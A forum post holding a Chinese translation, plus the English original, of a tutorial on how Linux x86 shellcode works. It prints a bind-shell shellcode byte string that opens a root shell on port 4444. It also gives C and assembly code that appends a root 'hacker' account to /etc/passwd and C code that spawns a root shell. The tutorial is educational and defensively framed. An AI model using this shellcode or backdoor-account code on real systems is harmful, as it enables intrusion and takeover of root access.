发新话题
打印

[翻译]Shellcodes是如何工作的?

[翻译]Shellcodes是如何工作的?

文章首发地址:灰狐's Blog (www.huihu32.cn)
文章翻译作者:灰狐( Bink && E.S.T )

原文来源:SecurityDot ( http://www.securitydot.net/ )
原文作者:不详

译者注:现在对exploit翻译的文章已经很多了,本文为作者锻炼翻译能力的作品,因此对于其学习价值请不要太多计较,因为我也不知道什么样的文章才受欢迎,呵呵。当然如果您希望我帮忙翻译某篇文章同时我也有时间的话当然会尽量帮忙的。

(开始)
要发现一个存在漏洞的服务和利用这种漏洞的exploit(漏洞利用程序,本文其他地方均直接使用exploit而没有翻译)并不是一份容易的差事。当然,要想有效抵御那些想利用这些漏洞攻击你的用户同样不太容易。如果你是一个系统管理员,那么,你想自己写一个漏洞利用程序来将一个news line(此处不太理解,不敢乱翻译)从bug追踪者转换成试图潜入者的难度会相当大。这个文章不是教你如何编写exploit,也不是对一些常见漏洞的总结。它是一个教你慢慢学习shellcode的向导,一个学习exploit至关重要的突破口。我希望,学会它们是怎样工作的将会有效地帮助那些尽职、可敬的开发者和系统管理员们明白破坏者们的思路并且使自己的系统避免被攻击。

Shellcode是怎样工作的?

随便从因特网上下载一个exploit,确保你在一个远程机器上有一个很容易操作的root shell后,检查一下它(指exploit)的源代码。寻找代码中最难以理解的片段:可以肯定地说,它是一定有的。通常最有可能的是,你会发现许多行奇怪并且似乎毫不相干的符号,其中一些就像下面那样:
char shellcode[] =
"\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8a"
"\xd4\xf2\xe7\x83\xeb\xfc\xe2\xf4\xbb\x0f\xa1\xa4\xd9\xbe\xf0\x8d"
"\xec\x8c\x6b\x6e\x6b\x19\x72\x71\xc9\x86\x94\x8f\x9b\x88\x94\xb4"
"\x03\x35\x98\x81\xd2\x84\xa3\xb1\x03\x35\x3f\x67\x3a\xb2\x23\x04"
"\x47\x54\xa0\xb5\xdc\x97\x7b\x06\x3a\xb2\x3f\x67\x19\xbe\xf0\xbe"
"\x3a\xeb\x3f\x67\xc3\xad\x0b\x57\x81\x86\x9a\xc8\xa5\xa7\x9a\x8f"
"\xa5\xb6\x9b\x89\x03\x37\xa0\xb4\x03\x35\x3f\x67";

这就是shellcode,有时它也会被称为“字节码”。它包含的不是什么魔力文字或随机符号。它只是一串低位的机器指令,就像那些可执行文件中的一样。这个示例shellcode的作用是打开一个本地linux机器的4444端口,并将它以root特权绑定为一个远程的shell 。使用shellcode,你可以做到重启一个系统,向一个电子邮件发送文件等等。因此对一个漏洞利用程序来说最主要的任务就是让它的shellcode正确运行。

就拿广为人所知的错误缓冲区溢出为例来说吧。程序员经常会检查那些将会被函数接收的输入数据。一个简单的例子:程序员创建了一个动态数组,给它分配了100个字节,同时没有控制实数元素。所有超出数组边界的元素都会被压入到一个堆栈中,这样,传说中的缓冲区溢出就形成了。一个exploit的任务就是溢出这个缓冲区,然后改变系统执行返回地址使其指向你的shellcode在内存中的地址。如果一个shellcode得到了控制权,它将会被执行。这相当地容易。

就像我前面说的那样,这篇文章不是教你如何写exploits的。互联网上有很多保存着大量shellcodes的地方(shellcode.org、Metasploit);但是,这通常是不够的。一个shellcode其实是一串与处理器体系结构和操作系统非常接近的低位机器指令。这就是为什么理解它的工作原理能有效地帮助您抵御那些试图对您进行的攻击。

这是为了什么呢?

在继续下面的工作之前,我假设你已经至少有一定的汇编知识基础。对于我们实验的平台,我选择了32位x86架构处理器的Linux。大多数的exploits都是针对Unix服务的。所以,它们都会让人非常感兴趣。你将会需要一些额外的工具:Netwide Assembler (nasm)、 ndisasm和 hexdump。大多数被分发的Linux(光盘或安装包)默认情况下都包含有这些工具。

实现所需功能的 Shellcode 源程序通常都是用汇编语言编写;但是,用C语言写好工程并编译连接后的代码更容易解释清楚它是如何工作的,然后我们可以使用汇编重写这个功能的代码。下面是一个将一个用户添加进 /etc/passwd的C源代码:
#include <stdio.h>
#include <fcntl.h>

main() {
char *filename = "/etc/passwd";
char *line = "hacker:x:0:0::/:/bin/sh\n";
int f_open;
f_open = open(filename,O_WRONLY|O_APPEND);
write(f_open, line, strlen(line));
close(f_open);
exit(0);
}

所有的代码都非常简单,也许那个 open() 函数要被除外。给定的常量 O_WRONLY|O_APPEND 作为一个参数以写方式打开存在的文件并将新的数据添加到文件的尾部;

这里还有一个更有用的例子:执行一个目的shell
#include <stdio.h>

main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
setreuid(0, 0);
execve(name[0],name, NULL);
}

Setreuid(0,0)函数试图得到root权限(如果可以的话),execve(const char filename,const char[] argv, const char[] envp)是一个重要的系统调用以执行任何的二进制文件或脚本。它有三个参数:filename是可执行文件的完整路径,argv[]是执行参数集合数组,envp[]是一串“属性=值”格式的数组。这两个数组都必须以一个NULL元素结尾。

现在咱们来考虑一下如何使用汇编重写第一个例子中的C代码。x86汇编语言使用一种专门通过读取函数在EAX寄存器中的地址然后执行相应函数的系统中断来完成系统调用。这些函数代码存在于 /usr/include/asm/unistd.h文件中。举个例子吧,在这个文件中有一行,#define __NR_ open 5,意思是 open() 函数的编码值(这里具体是什么编码我也不太清楚,好像不是中断号)是5。用同样的方法,你还可以得到所有其他的函数值:exit()的是1,close()是6,setreuid()是70,execve()是11。这些知识已经足够写出一个简单的可运行应用程序了。 /etc/passwd 使用汇编改写过的代码如下:
section .data
filename db &#39;/etc/passwd&#39;, 0
line db &#39;hacker:x:0:0::/:/bin/sh&#39;,0x0a

section .text
global _start

_start:
; open(filename,O_WRONLY|O_APPEND)
mov eax, 5
mov ebx, filename
mov ecx, 1025
int 0x80
mov ebx, eax

; write(f_open, line, 24)
mov eax, 4
mov ecx, line
mov edx, 24
int 0x80

; close(f_open)
mov eax, 6
int 0x80

; exit(0)
mov eax, 1
mov ebx, 0
int 0x80

我们知道汇编程序通常包含三个段:数据段,用来存放变量;代码段,用来存在代码指令;和堆栈段,用来给存储的数据准备专门的内存区域。这个例子只用了数据段和代码段。这些操作数在开始部分标记.data段和.text段。数据段中包含了两个字符型变量的声明:Name和line,他们由一串字节组成(可以通过预定义中的db标记看到)。

代码段从一个入口点,global _start,的声明开始。它给出了应用程序代码开始的标志。

下面的步骤就简单了;为了调用open()函数,把EAX寄存器的值设置成适当的函数代码:5。做完后,把参数传递给函数。传递参数最简单的办法是利用EBX,ECX和EDX寄存器。EBX获取函数的第一个参数:表示文件名的字符串变量的开始地址,它包含了文件的完整路径和结束0字符(大多数系统函数的运行需要一个以null结束的字符)。ECX寄存器获取第二个参数:文件的打开方式(以数字格式表示的常量:O_WRONLY|O_APPEND)。但所有的参数设置好后,代码调用0x80中断。它将会从EAX中读取函数代码并且调用一个适当的函数。当完成这些调用后,应用程序继续运行,依次准确地调用write(),close(),和exit()函数。(完)
Welcome to My Blog :  http://nokyo.blogbus.com/

TOP

附上原文:
               How Shellcodes Work

It&#39;s not an easy task to find a vulnerable service and find an exploit for it. It&#39;s also not easy to defend against users who might want to exploit your system, if you are a system administrator. However, writing an exploit by yourself, to convert a news line from bug tracker into a working lockpick, is much more difficult. This article is not a guide on writing exploits, nor an overview of popular vulnerabilities. This is a step-by-step guide on developing a shellcode, a crucial point of any exploit software. Hopefully, learning how they work will help conscientious and respectable developers and system administrators to understand how malefactors think and to defend their systems against them.
How an Exploit Works

Take any exploit downloaded from the internet that promises you an easy root shell on a remote machine, and examine its source code. Find the most unintelligible piece of the code; it will be there, for sure. Most probably, you will find a several lines of strange and unrelated symbols; something like this:
char shellcode[] =
"\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8a"
"\xd4\xf2\xe7\x83\xeb\xfc\xe2\xf4\xbb\x0f\xa1\xa4\xd9\xbe\xf0\x8d"
"\xec\x8c\x6b\x6e\x6b\x19\x72\x71\xc9\x86\x94\x8f\x9b\x88\x94\xb4"
"\x03\x35\x98\x81\xd2\x84\xa3\xb1\x03\x35\x3f\x67\x3a\xb2\x23\x04"
"\x47\x54\xa0\xb5\xdc\x97\x7b\x06\x3a\xb2\x3f\x67\x19\xbe\xf0\xbe"
"\x3a\xeb\x3f\x67\xc3\xad\x0b\x57\x81\x86\x9a\xc8\xa5\xa7\x9a\x8f"
"\xa5\xb6\x9b\x89\x03\x37\xa0\xb4\x03\x35\x3f\x67";

This is shellcode, also sometimes referred to as "bytecode." Its content is not a magic word or random symbols. This is a set of low-level machine commands, the same as are in an executable file. This example shellcode opens port 4444 on a local Linux box and ties a Bourne shell to it with root privileges. With a shellcode, you can also reboot a system, send a file to an email, etc. The main task for an exploit program is therefore to make this shellcode work.

Take, for example, a widely known error-buffer overflow. Developers often check data that has been received as input for functions. A simple example: the developer creates a dynamic array, allocates for it 100 bytes, and does not control the real number of elements. All elements that are out of the bounds of this array will be put into a stack, and a so-called buffer overflow will occur. An exploit&#39;s task is to overflow a buffer and, after that, change the return address of system execution to the address of the shellcode. If a shellcode can get control, it will be executed. It&#39;s pretty simple.

As I already said, this article is not a guide for writing exploits. There are many repositories with existing shellcodes (shellcode.org, Metasploit); however, it is not always enough. A shellcode is a low-level sequence of machine commands closely tied to a dedicated processor architecture and operating system. This is why understanding how it works can help prevent intrusions into your environment.
What Is It For?

To follow along, I expect you to have at least minimal assembly knowledge. As a platform for experiments, I chose Linux with a 32-bit x86 processor. Most exploits are intended for Unix services; therefore, they are of most interest. You need several additional tools: Netwide Assembler (nasm), ndisasm, and hexdump. Most Linux distributions include these by default.
The Process of Building

Shellcode stubs are usually written in assembler; however, it is easier to explain how one works by building it in C and then rewriting the same code in assembly. This is C code for appending a user into /etc/passwd:
#include <stdio.h>
#include <fcntl.h>

main() {
char *filename = "/etc/passwd";
char *line = "hacker:x:0:0::/:/bin/sh\n";
int f_open;
f_open = open(filename,O_WRONLY|O_APPEND);
write(f_open, line, strlen(line));
close(f_open);
exit(0);
}

All of the code is pretty simple, except maybe the open() function. The constant O_WRONLY|O_APPEND given as a parameter opens the file fact for writing and appends the new data to the end of the file.

Here is a more usable example: executing a Bourne shell:
#include <stdio.h>

main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
setreuid(0, 0);
execve(name[0],name, NULL);
}

The setreuid(0,0) call attempts to obtain root privileges (if it is possible). execve(const char filename,const char[] argv, const char[] envp) is a main system call that executes any binary file or script. It has three parameters: filename is a full path to an executable file, argv[] is an array of arguments, and envp[] is an array of strings in the format key=value. Both arrays must end with a NULL element.

Now consider how to rewrite the C code given in the first example in assembly. x86 assembly executes system calls with help of a special system interrupt that reads the number of the function from the EAX register and then executes the corresponding function. The function codes are in the file /usr/include/asm/unistd.h. For example, a line in this file, #define __NR_ open 5, means that the function open() has the identification number 5. In a similar way, you can find all other function codes: exit() is 1, close() is 6, setreuid() is 70, and execve() is 11. This knowledge is enough to write a simple working application. The /etc/passwd amendment application code in assembly is:
section .data
filename db &#39;/etc/passwd&#39;, 0
line db &#39;hacker:x:0:0::/:/bin/sh&#39;,0x0a

section .text
global _start

_start:
; open(filename,O_WRONLY|O_APPEND)
mov eax, 5
mov ebx, filename
mov ecx, 1025
int 0x80
mov ebx, eax

; write(f_open, line, 24)
mov eax, 4
mov ecx, line
mov edx, 24
int 0x80

; close(f_open)
mov eax, 6
int 0x80

; exit(0)
mov eax, 1
mov ebx, 0
int 0x80

It&#39;s a well-known fact that an assembly program consists of three segments: the data segment, which contains variables; the code segment containing code instructions; and a stack segment, which provides a special memory area for storing data. This example uses only data and code segments. The operators section .data and section .text mark their beginnings. A data segment contains the declaration of two char variables: name and line, consisting of a set of bytes (see the db mark in the definition).

The code segment starts from a declaration of an entry point, global _start. This tells the system that the application code starts at the _start label.

The next steps are easy; to call open(), set the EAX register to the appropriate function code: 5. After that, pass parameters for the function. The most simple way of passing parameters is to use the registers EBX, ECX, and EDX. EBX gets the first function parameter, the address of the beginning of the filename string variable, which contains a full path to a file and a finishing zero char (most system functions operating with strings demand a trailing null). The ECX register gets the second parameter, giving information about file open mode (a constant O_WRONLY|O_APPEND in a numeric format). With all of the parameters set, the code calls interrupt 0x80. It will read the function code from EAX and calls an appropriate function. After completing the call, the application will continue, calling write(), close(), and exit() in exactly the same way.
Welcome to My Blog :  http://nokyo.blogbus.com/

TOP

发新话题